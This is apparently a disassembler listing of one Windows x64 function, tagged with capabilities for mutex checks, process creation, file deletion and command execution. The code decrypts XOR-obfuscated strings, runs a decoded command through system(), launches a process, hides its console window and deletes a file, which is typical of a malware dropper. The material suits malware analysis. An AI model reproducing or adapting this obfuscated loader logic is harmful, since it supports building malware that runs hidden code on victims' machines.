Function at 0x14001f990
Capabilities:
Check mutex on windows
Create process on windows
Delete file
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x6a0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140451f58]
xor rax, rsp
mov qword [rbp + 0x620], rax
xor r12d, r12d
movabs rax, 0x4058ce4f97ebe438
mov qword [rbp + 0x260], rax
movabs rax, 0xfe91f263d5b7a8b5
mov qword [rbp + 0x268], rax
movabs rax, 0xb10fa4c75d2466c3
mov qword [rbp + 0x270], rax
movabs rax, 0x1d6054c5ad9a04ae
mov qword [rbp + 0x278], rax
movabs rax, 0xa0a5a69e4176fa28
mov qword [rbp + 0x280], rax
movabs rax, 0xd7b279b76a3a37c5
mov qword [rbp + 0x288], rax
movabs rax, 0xbb1262bd1b8b5a23
mov qword [rbp + 0x290], rax
movabs rax, 0xb53cbc3066fa940c
mov qword [rbp + 0x298], rax
movabs rsi, 0x2128af3fdb8aa759
mov qword [rbp + 0x5a0], rsi
movabs r15, 0xb1c2be029bf8e1c6
mov qword [rbp + 0x5a8], r15
movabs rdi, 0xc66acea132411193
mov qword [rbp + 0x5b0], rdi
movabs r14, 0x4a2607a4fef36cc8
mov qword [rbp + 0x5b8], r14
movabs r13, 0xd2c0eedb0731ab6d
mov qword [rbp + 0x5c0], r13
movabs rbx, 0x92e216ee38757aaa
mov qword [rbp + 0x5c8], rbx
movabs rcx, 0xbb1262bd42c53f57
mov qword [rbp + 0x5d0], rcx
mov qword [rbp + 0x5d8], rax
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x5a0]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0x5c0]
vmovdqa ymmword [rbp + 0x280], ymm1
lea r8, [rbp + 0x260]
lea edx, [r12 + 1]
xor ecx, ecx
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
movabs rax, 0xe07954cabfed331
mov qword [rbp + 0x120], rax
movabs rax, 0xc5addc6ff29988a7
mov qword [rbp + 0x128], rax
movabs rax, 0xe91fab8f413874f8
mov qword [rbp + 0x130], rax
movabs rax, 0x4a4161c7d0940aab
mov qword [rbp + 0x138], rax
mov qword [rbp + 0x5e0], rsi
mov qword [rbp + 0x5e8], r15
mov qword [rbp + 0x5f0], rdi
mov qword [rbp + 0x5f8], r14
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x5e0]
vmovdqa ymmword [rbp + 0x120], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
lea rax, [rbp + 0x120]
mov rsi, 0xffffffffffffffff
mov r8, rsi
vzeroupper
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x14001fbc0
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xa0]
call fcn.140003930
nop
movabs rax, 0x4546c668f4a59d1a
mov qword [rbp + 0x180], rax
movabs rax, 0xdca7ea2db48b96a9
mov qword [rbp + 0x188], rax
movabs rax, 0xa544a9c7516e3ee3
mov qword [rbp + 0x190], rax
movabs rax, 0x4a2607a4fef30bae
mov qword [rbp + 0x198], rax
movabs rax, 0x2128af3fdb8aa759
mov qword [rbp + 0x600], rax
mov qword [rbp + 0x608], r15
mov qword [rbp + 0x610], rdi
mov qword [rbp + 0x618], r14
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp + 0x180], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], r12
lea rax, [rbp + 0x180]
mov r8, rsi
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x14001fc86
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x140]
call fcn.140003930
nop
movabs rax, 0xe07954cabfed331
mov qword [rbp + 0x2c0], rax
movabs rax, 0xc5addc6ff29988a7
mov qword [rbp + 0x2c8], rax
movabs rax, 0xe91fab8f413874f8
mov qword [rbp + 0x2d0], rax
movabs rax, 0x260874c89b910da4
mov qword [rbp + 0x2d8], rax
movabs rax, 0xd2c0eea86b54c90c
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rbx
movabs rax, 0x2128af3fdb8aa759
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x4a8], r15
mov qword [rbp + 0x4b0], rdi
mov qword [rbp + 0x4b8], r14
mov qword [rbp + 0x4c0], r13
mov qword [rbp + 0x4c8], rbx
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a0]
vmovdqa ymmword [rbp + 0x2c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x2e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x4c0]
vmovdqa xmmword [rbp + 0x2e0], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x400], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x410], xmm1
lea rax, [rbp + 0x2c0]
mov r8, rsi
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001fd90
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x400]
call fcn.140003930
nop
movabs rax, 0x4546c668f4a59d1a
mov qword [rbp + 0x300], rax
movabs rax, 0xdca7ea2db48b96a9
mov qword [rbp + 0x308], rax
movabs rax, 0xaa0facc05e6e3ee3
mov qword [rbp + 0x310], rax
movabs rax, 0x394a62c69f9f42bb
mov qword [rbp + 0x318], rax
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], rbx
movabs rax, 0x2128af3fdb8aa759
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], r15
mov qword [rbp + 0x4f0], rdi
mov qword [rbp + 0x4f8], r14
mov qword [rbp + 0x500], r13
mov qword [rbp + 0x508], rbx
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqa xmm0, xmmword [rbp + 0x320]
vxorps xmm0, xmm0, xmmword [rbp + 0x500]
vmovdqa xmmword [rbp + 0x320], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], r12
lea rax, [rbp + 0x300]
mov r8, rsi
vzeroupper
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001fe90
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x160]
call fcn.140003930
nop
movabs rax, 0xe07954cabfed331
mov qword [rbp + 0x340], rax
movabs rax, 0xc5addc6ff29988a7
mov qword [rbp + 0x348], rax
movabs rax, 0xe91fab8f413874f8
mov qword [rbp + 0x350], rax
movabs rax, 0x645573cc999a09bf
mov qword [rbp + 0x358], rax
movabs rax, 0xd2b39ab36058ce1a
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
movabs rax, 0x2128af3fdb8aa759
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], rdi
mov qword [rbp + 0x538], r14
mov qword [rbp + 0x540], r13
mov qword [rbp + 0x548], rbx
vmovdqu ymm0, ymmword [rbp + 0x340]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x340], ymm1
vmovdqa xmm0, xmmword [rbp + 0x360]
vxorps xmm0, xmm0, xmmword [rbp + 0x540]
vmovdqa xmmword [rbp + 0x360], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x3e0], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x3f0], xmm1
lea rax, [rbp + 0x340]
mov r8, rsi
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x14001ff93
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x3e0]
call fcn.140003930
nop
movabs rax, 0x4546c668f4a59d1a
mov qword [rbp + 0x380], rax
movabs rax, 0xdca7ea2db48b96a9
mov qword [rbp + 0x388], rax
movabs rax, 0xae0da7c4456e3ee3
mov qword [rbp + 0x390], rax
movabs rax, 0x22416ec189dd1fbc
mov qword [rbp + 0x398], rax
movabs rax, 0xd2c0eedb0731d819
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], rbx
movabs rax, 0x2128af3fdb8aa759
mov qword [rbp + 0x560], rax
mov qword [rbp + 0x568], r15
mov qword [rbp + 0x570], rdi
mov qword [rbp + 0x578], r14
mov qword [rbp + 0x580], r13
mov qword [rbp + 0x588], rbx
vmovdqu ymm0, ymmword [rbp + 0x380]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x380], ymm1
vmovdqa xmm0, xmmword [rbp + 0x3a0]
vxorps xmm0, xmm0, xmmword [rbp + 0x580]
vmovdqa xmmword [rbp + 0x3a0], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x3c0], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x3d0], xmm1
lea rax, [rbp + 0x380]
mov r8, rsi
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140020096
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x3c0]
call fcn.140003930
nop
movabs rax, 0xe07954cabfed331
mov qword [rbp + 0x200], rax
movabs rax, 0xc5addc6ff29988a7
mov qword [rbp + 0x208], rax
movabs rax, 0xb306ad8f413874f8
mov qword [rbp + 0x210], rax
movabs rax, 0x2e096fd08b9243aa
mov qword [rbp + 0x218], rax
movabs rax, 0xfca48fb46b5fdc02
mov qword [rbp + 0x220], rax
movabs rax, 0xaf9b7385070512da
mov qword [rbp + 0x228], rax
movabs rax, 0xdd7051897bfc5e31
mov qword [rbp + 0x230], rax
movabs rax, 0x810a8f0404cfa169
mov qword [rbp + 0x238], rax
movabs rax, 0xba711fe58af5b9d1
mov qword [rbp + 0x240], rax
movabs rax, 0x60263f7323f75d08
mov qword [rbp + 0x248], rax
movabs rdx, 0xf8995e09205b6b9b
mov qword [rbp + 0x250], rdx
movabs rcx, 0x3de579ec20787d10
mov qword [rbp + 0x258], rcx
movabs rax, 0x2128af3fdb8aa759
mov qword [rbp + 0x420], rax
mov qword [rbp + 0x428], r15
mov qword [rbp + 0x430], rdi
mov qword [rbp + 0x438], r14
mov qword [rbp + 0x440], r13
mov qword [rbp + 0x448], rbx
movabs rax, 0xbb1262bd42c53f57
mov qword [rbp + 0x450], rax
movabs rax, 0xb53cbc3066fa940c
mov qword [rbp + 0x458], rax
movabs rax, 0x8a122787eccc8fe1
mov qword [rbp + 0x460], rax
movabs rax, 0x5416074a10c13b6e
mov qword [rbp + 0x468], rax
mov qword [rbp + 0x470], rdx
mov qword [rbp + 0x478], rcx
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x240], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x2a0], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x2b0], xmm1
lea rax, [rbp + 0x200]
mov r8, rsi
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x140020273
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x2a0]
call fcn.140003930
nop
lea rax, [rbp + 0xc0]
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r12
lea r15, [rbp + 0x140]
cmp qword [rbp + 0x158], 0x10
cmovae r15, qword [rbp + 0x140]
movabs rdi, 0x7fffffffffffffff
mov r14, qword [rbp + 0x150]
cmp r14, rdi
ja 0x140020bfa
mov r13d, 0x16
mov qword [rbp + 0xd8], setsockopt
cmp r14, 0x10
jae 0x140020310
mov qword [rbp + 0xd0], r14
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0xc0], xmm0
jmp 0x14002035d
mov rbx, r14
or rbx, 0xf
cmp rbx, rdi
jbe 0x140020321
mov rbx, rdi
jmp 0x140020328
cmp rbx, r13
cmovb rbx, r13
lea rdx, [rbx + 1]
lea rcx, [rbp + 0xc0]
call fcn.140014b50
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], rbx
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
lea r15, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r15, qword [rbp + 0xa0]
mov r14, qword [rbp + 0xb0]
cmp r14, rdi
ja 0x140020c00
mov qword [rbp + setsockopt8], 0xf
cmp r14, 0x10
jae 0x1400203c1
mov qword [rbp + 0xf0], r14
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0xe0], xmm0
jmp 0x14002040f
mov rbx, r14
or rbx, 0xf
cmp rbx, rdi
jbe 0x1400203d2
mov rbx, rdi
jmp 0x1400203da
cmp rbx, 0x16
cmovb rbx, r13
lea rdx, [rbx + 1]
lea rcx, [rbp + 0xe0]
call fcn.140014b50
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], rbx
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea r15, [0x140011a20]
mov qword [rbp + 0x100], r15
mov ecx, 0x120
call fcn.140026c14
mov qword [rbp], rax
test rax, rax
je 0x140020444
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.140002b40
mov rbx, rax
jmp 0x140020447
mov rbx, r12
mov qword [rbp + 0x40], rbx
mov byte [rbp + 0x48], 0
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140020490
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002048b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400204df
call fcn.140026c50
movdqa xmm0, xmmword [0x14002ec40]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1400204eb
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400204e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400204e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026c50
movdqa xmm0, xmmword [0x14002ec40]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], 0
test rbx, rbx
je 0x140020bef
mov byte [rbp + 0x68], 1
lock inc dword [rbx + 8]
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140020543
mov rcx, qword [rbx + 0xc8]
test rcx, rcx
je 0x140020535
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax]
jmp 0x140020543
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
nop
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x70], rbx
mov byte [rbp + 0x78], 1
cmp byte [rbx + 0xb8], 0
jne 0x140020be4
mov rax, qword [rbx]
mov dl, 1
mov rcx, rbx
call qword [rax + select]
movzx r14d, byte [rax]
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14002059a
mov rcx, qword [rbx + 0xc8]
test rcx, rcx
je 0x14002058d
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax]
jmp 0x14002059a
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
test r14b, r14b
je 0x1400209c6
lea rax, [rbp + 0x1a0]
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], r12
lea r14, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae r14, qword [rbp + 0x160]
mov rbx, qword [rbp + 0x170]
cmp rbx, rdi
ja 0x140020c06
mov qword [rbp + 0x1b8], setsockopt
cmp rbx, 0x10
jae 0x140020612
mov qword [rbp + 0x1b0], rbx
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x1a0], xmm0
jmp 0x14002065e
mov rax, rbx
or rax, 0xf
cmp rax, rdi
ja 0x140020629
mov rdi, rax
cmp rax, 0x16
cmovb rdi, r13
lea rdx, [rdi + 1]
lea rcx, [rbp + 0x1a0]
call fcn.140014b50
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1b0], rbx
mov qword [rbp + 0x1b8], rdi
lea r8, [rbx + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x1c0]
call fcn.14000cef0
nop
mov qword [rbp + 0x1e0], r15
mov ecx, 0x120
call fcn.140026c14
mov qword [rbp], rax
test rax, rax
je 0x1400206a0
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call fcn.140002b40
mov rbx, rax
jmp 0x1400206a3
mov rbx, r12
mov qword [rbp + 0x80], rbx
mov byte [rbp + 0x88], 0
mov byte [rbp + 0x90], 0
lea rcx, [rbp + 0x1a0]
call fcn.14000fc00
test rbx, rbx
je 0x140020c0c
mov qword [rbp + 0x20], rbx
mov byte [rbp + 0x28], 1
lock inc dword [rbx + 8]
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140020709
mov rcx, qword [rbx + 0xc8]
test rcx, rcx
je 0x1400206fb
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax]
jmp 0x140020709
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
nop
lea rcx, [rbp + 0x20]
call fcn.14001b080
test al, al
je 0x140020997
lea rax, [rbp + 0x3c0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3e0]
mov r8, r15
mov edx, 1
lea rcx, [rbp + 0x30]
call fcn.1400059f0
nop
lea rcx, [rbp + 0x30]
call fcn.14001b080
test al, al
je 0x14002095a
lea rbx, [0x1404545e8]
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x2a0]
mov r8, r15
mov edx, 1
lea rcx, [rbp + 8]
call fcn.1400059f0
nop
lea rcx, [rbp + 8]
call fcn.14001b080
test al, al
je 0x14002091d
movabs rax, 0x2128af3fdbf9cb3a
mov qword [rbp + 0x120], rax
movabs rdi, 0xb1c2be029bf8e1c6
mov qword [rbp + 0x128], rdi
movabs rsi, 0x2128af3fdb8aa759
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], rdi
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x120], xmm0
lea rcx, [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x424bda6cfbd78c02
mov qword [rbp + 0xa0], rax
movabs rax, 0xb1c2d277fd8b92a3
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rdi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0xa0], xmm0
lea rcx, [rbp + 0xa0]
call fcn.140026990
mov dword [rbp + 0x420], WSASetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0x428], xmm0
movups xmmword [rbp + 0x438], xmm0
movups xmmword [rbp + 0x448], xmm0
movups xmmword [rbp + 0x458], xmm0
movups xmmword [rbp + 0x468], xmm0
movups xmmword [rbp + 0x478], xmm0
mov rdx, rbx
cmp qword [0x140454600], 0x10
cmovae rdx, qword [0x1404545e8]
lea rax, [rbp + 8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x420]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400208d6
mov edx, 0xffffffff
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdi, str.____Failed_to_delete_file_n
nop
mov rcx, rbx
cmp qword [0x140454600], 0x10
cmovae rcx, qword [0x1404545e8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, str.___File_deleted_successfully_n
test eax, eax
cmove rcx, rdi
call fcn.140026990
jmp 0x1400208f0
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x14002095a
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14002095a
mov rcx, qword [rbp + 8]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x14002094f
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x14002095a
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x140020997
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140020997
mov rcx, qword [rbp + 0x30]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x14002098c
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140020997
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov rax, qword [rbp + 0x20]
test rax, rax
je 0x1400209c6
lock xadd dword [rax + 8], esi
cmp esi, 1
jne 0x1400209c6
mov rcx, qword [rbp + 0x20]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140020a05
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
nop
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0x10
jb 0x140020a17
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020a11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020a11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
jmp 0x1400209c6
call fcn.140026c50
nop
mov rdx, qword [rbp + 0x3d8]
cmp rdx, 0x10
jb 0x140020a5c
inc rdx
mov rcx, qword [rbp + 0x3c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020a56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020a56
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026c50
nop
mov rdx, qword [rbp + 0x3f8]
cmp rdx, 0x10
jb 0x140020aa1
inc rdx
mov rcx, qword [rbp + 0x3e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020a9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020a9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026c50
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x140020ae6
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020ae0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020ae0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026c50
nop
mov rdx, qword [rbp + 0x418]
cmp rdx, 0x10
jb 0x140020b2b
inc rdx
mov rcx, qword [rbp + 0x400]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020b25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020b25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026c50
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x140020b70
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020b6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020b6a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026c50
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140020bb4
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020baf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020baf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026c50
mov rcx, qword [rbp + 0x620]
xor rcx, rsp
call fcn.140026cf0
lea r11, [rsp + 0x6a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 4
call fcn.1400147d0
nop
mov ecx, 4
call fcn.1400147d0
nop
call fcn.1400024d0
nop
call fcn.1400024d0
nop
call fcn.1400024d0
nop
mov ecx, 4
call fcn.1400147d0
int3